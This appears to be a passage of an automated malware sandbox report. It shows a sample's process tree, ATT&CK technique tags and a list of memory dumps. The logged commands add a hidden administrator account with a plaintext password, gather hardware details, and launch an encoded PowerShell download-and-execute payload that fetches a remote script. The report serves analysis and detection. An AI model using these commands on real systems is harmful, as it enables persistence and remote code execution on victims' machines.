  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:368
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:3704

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc i0aAay1y
1⤵
- Suspicious use of WriteProcessMemory
PID:4056
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc i0aAay1y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1652
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc i0aAay1y
    3⤵
    PID:684

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
- Suspicious use of WriteProcessMemory
PID:424
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:2696

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2752
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  PID:3872

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1296
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:2268

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2064-216-0x0000016EBD9E8000-0x0000016EBD9EA000-memory.dmp

Filesize
8KB

Download
memory/2064-166-0x0000016EBD9E0000-0x0000016EBD9E2000-memory.dmp

Filesize
8KB

Download
memory/2064-193-0x0000016EBD9E6000-0x0000016EBD9E8000-memory.dmp

Filesize
8KB

Download
memory/2064-167-0x0000016EBD9E3000-0x0000016EBD9E5000-memory.dmp

Filesize
8KB

Download
memory/2088-221-0x0000013571D16000-0x0000013571D18000-memory.dmp

Filesize
8KB

Download
memory/2088-219-0x0000013571D13000-0x0000013571D15000-memory.dmp

Filesize
8KB

Download
memory/2088-272-0x0000013571D18000-0x0000013571D1A000-memory.dmp

Filesize
8KB

Download
memory/2088-217-0x0000013571D10000-0x0000013571D12000-memory.dmp

Filesize
8KB

Download
memory/2268-378-0x00000245632F3000-0x00000245632F5000-memory.dmp

Filesize
8KB

Download
memory/2268-432-0x00000245632F8000-0x00000245632F9000-memory.dmp

Filesize
4KB

Download
memory/2268-381-0x00000245632F6000-0x00000245632F8000-memory.dmp

Filesize
8KB

Download
memory/2268-377-0x00000245632F0000-0x00000245632F2000-memory.dmp

Filesize
8KB

Download
memory/3668-143-0x000001791DDA0000-0x000001791DDA1000-memory.dmp

Filesize
4KB

Download
memory/3668-128-0x000001791E050000-0x000001791E051000-memory.dmp

Filesize
4KB

Download
memory/3668-125-0x000001791DD40000-0x000001791DD41000-memory.dmp

Filesize
4KB

Download
memory/3668-129-0x000001791DDC0000-0x000001791DDC2000-memory.dmp

Filesize
8KB

Download
memory/3668-130-0x000001791DDC3000-0x000001791DDC5000-memory.dmp

Filesize
8KB

Download
memory/3668-145-0x000001791DDC6000-0x000001791DDC8000-memory.dmp

Filesize
8KB

Download
memory/3668-146-0x000001791DDC8000-0x000001791DDC9000-memory.dmp

Filesize
4KB

Download
memory/3668-152-0x000001791E800000-0x000001791E801000-memory.dmp

Filesize
4KB

Download
memory/3668-153-0x000001791EB90000-0x000001791EB91000-memory.dmp

Filesize
4KB

Download
memory/3848-275-0x000002113D346000-0x000002113D348000-memory.dmp

Filesize
8KB

Download
memory/3848-273-0x000002113D340000-0x000002113D342000-memory.dmp

Filesize
8KB

Download
memory/3848-274-0x000002113D343000-0x000002113D345000-memory.dmp

Filesize
8KB

Download
memory/3848-288-0x000002113D348000-0x000002113D34A000-memory.dmp

Filesize
8KB

Download
memory/3916-114-0x000001A5BC590000-0x000001A5BC9B0000-memory.dmp

Filesize
4.1MB

Download
memory/3916-119-0x000001A5BC156000-0x000001A5BC157000-memory.dmp

Filesize
4KB

Download
memory/3916-117-0x000001A5BC153000-0x000001A5BC155000-memory.dmp

Filesize
8KB

Download
memory/3916-118-0x000001A5BC155000-0x000001A5BC156000-memory.dmp

Filesize
4KB

Download
memory/3916-116-0x000001A5BC150000-0x000001A5BC152000-memory.dmp

Filesize
8KB

Download